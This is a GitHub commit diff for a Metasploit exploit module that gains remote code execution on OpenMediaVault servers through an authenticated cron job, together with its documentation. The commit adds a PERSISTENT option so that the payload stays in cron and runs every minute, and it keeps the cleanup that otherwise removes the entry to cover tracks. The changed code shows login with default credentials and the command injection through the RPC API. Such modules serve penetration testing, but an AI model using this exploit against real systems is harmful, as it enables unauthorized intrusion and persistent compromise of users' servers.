Skip to content

Commit 198f3f8

Browse files
committed
update based on review comments of jvoisin
1 parent 2e1dfa6 commit 198f3f8

File tree

2 files changed

+38
-32
lines changed

2 files changed

+38
-32
lines changed

documentation/modules/exploit/multi/http/openmediavault_auth_cron_rce.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,10 @@ This option is required and is the username (default: admin) to authenticate wit
6060
### PASSWORD
6161
This option is required and is the password (default: openmediavault) in plain text to authenticate with the application.
6262

63+
### PERSISTENT
64+
This option keeps the payload persistent in Cron and runs every minute. Warning: This is a noisy option for detection.
65+
The default value is false, where the payload is removed to cover your tracks.
66+
6367
## Scenarios
6468
```msf
6569
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > info
@@ -101,6 +105,7 @@ Basic options:
101105
Name Current Setting Required Description
102106
---- --------------- -------- -----------
103107
PASSWORD openmediavault yes The OpenMediaVault password to authenticate with
108+
PERSISTENT false yes Keep the payload persistent in Cron. Default value is false, where the payload is removed
104109
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
105110
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
106111
RPORT 80 yes The target port (TCP)

modules/exploits/multi/http/openmediavault_auth_cron_rce.rb

Lines changed: 33 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,8 @@ def initialize(info = {})
7171
[
7272
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
7373
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
74-
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
74+
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),
75+
OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])
7576
]
7677
)
7778
end
@@ -91,7 +92,7 @@ def rpc_success?(res)
9192
def login(user, pass)
9293
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
9394
res = send_request_cgi({
94-
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
95+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
9596
'method' => 'POST',
9697
'keep_cookies' => true,
9798
'ctype' => 'application/json',
@@ -111,7 +112,7 @@ def login(user, pass)
111112
def check_version
112113
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
113114
res = send_request_cgi({
114-
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
115+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
115116
'method' => 'POST',
116117
'keep_cookies' => true,
117118
'ctype' => 'application/json',
@@ -140,7 +141,7 @@ def check_version
140141
def apply_config_changes
141142
# Apply OpenMediaVault configuration changes
142143
send_request_cgi({
143-
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
144+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
144145
'method' => 'POST',
145146
'ctype' => 'application/json',
146147
'keep_cookies' => true,
@@ -162,10 +163,8 @@ def execute_command(cmd, _opts = {})
162163
# OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
163164
# OpenMediaVault < 1.0.0 is not supported in this module. It will never reach here because the login will fail
164165
# MSF module: exploit/multi/http/openmediavault_cmd_exec can be used to exploit these versions
165-
schedule = '*'
166-
schedule = ['*'] if @version_number >= Rex::Version.new('6.0.15-1')
167-
uuid = 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
168-
uuid = 'undefined' if @version_number <= Rex::Version.new('3.0.15')
166+
schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'
167+
uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
169168
post_data = {
170169
service: 'Cron',
171170
method: 'set',
@@ -191,7 +190,7 @@ def execute_command(cmd, _opts = {})
191190
}.to_json
192191

193192
res = send_request_cgi({
194-
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
193+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
195194
'method' => 'POST',
196195
'ctype' => 'application/json',
197196
'keep_cookies' => true,
@@ -211,31 +210,33 @@ def execute_command(cmd, _opts = {})
211210
end
212211

213212
def on_new_session(_session)
214-
# try to cleanup cron entry in OpenMediaVault
215-
res = send_request_cgi({
216-
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
217-
'method' => 'POST',
218-
'ctype' => 'application/json',
219-
'keep_cookies' => true,
220-
'data' => {
221-
service: 'Cron',
222-
method: 'delete',
223-
params: {
224-
uuid: @cron_uuid.to_s
225-
},
226-
options: nil
227-
}.to_json
228-
})
229-
if rpc_success?(res)
230-
# Apply changes and update cron configuration to remove the payload entry
231-
res = apply_config_changes
213+
# try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true
214+
unless datastore['PERSISTENT']
215+
res = send_request_cgi({
216+
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
217+
'method' => 'POST',
218+
'ctype' => 'application/json',
219+
'keep_cookies' => true,
220+
'data' => {
221+
service: 'Cron',
222+
method: 'delete',
223+
params: {
224+
uuid: @cron_uuid.to_s
225+
},
226+
options: nil
227+
}.to_json
228+
})
232229
if rpc_success?(res)
233-
print_good('Cron payload entry successfully removed.')
230+
# Apply changes and update cron configuration to remove the payload entry
231+
res = apply_config_changes
232+
if rpc_success?(res)
233+
print_good('Cron payload entry successfully removed.')
234+
else
235+
print_warning('Cannot apply the cron changes to remove the payload entry.')
236+
end
234237
else
235-
print_warning('Cannot apply the cron changes to remove the payload entry.')
238+
print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
236239
end
237-
else
238-
print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
239240
end
240241
super
241242
end
@@ -246,7 +247,7 @@ def check
246247

247248
@version_number = check_version
248249
unless @version_number.nil?
249-
if @version_number <= Rex::Version.new('7.3.1-1') && @version_number >= Rex::Version.new('1.0.0')
250+
if @version_number.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.3.1-1'))
250251
return CheckCode::Vulnerable("Version #{@version_number}")
251252
else
252253
return CheckCode::Appears("Version #{@version_number} can be exploited with module exploit/multi/http/openmediavault_cmd_exec") if @version_number < Rex::Version.new('1.0.0')

0 commit comments

Comments
 (0)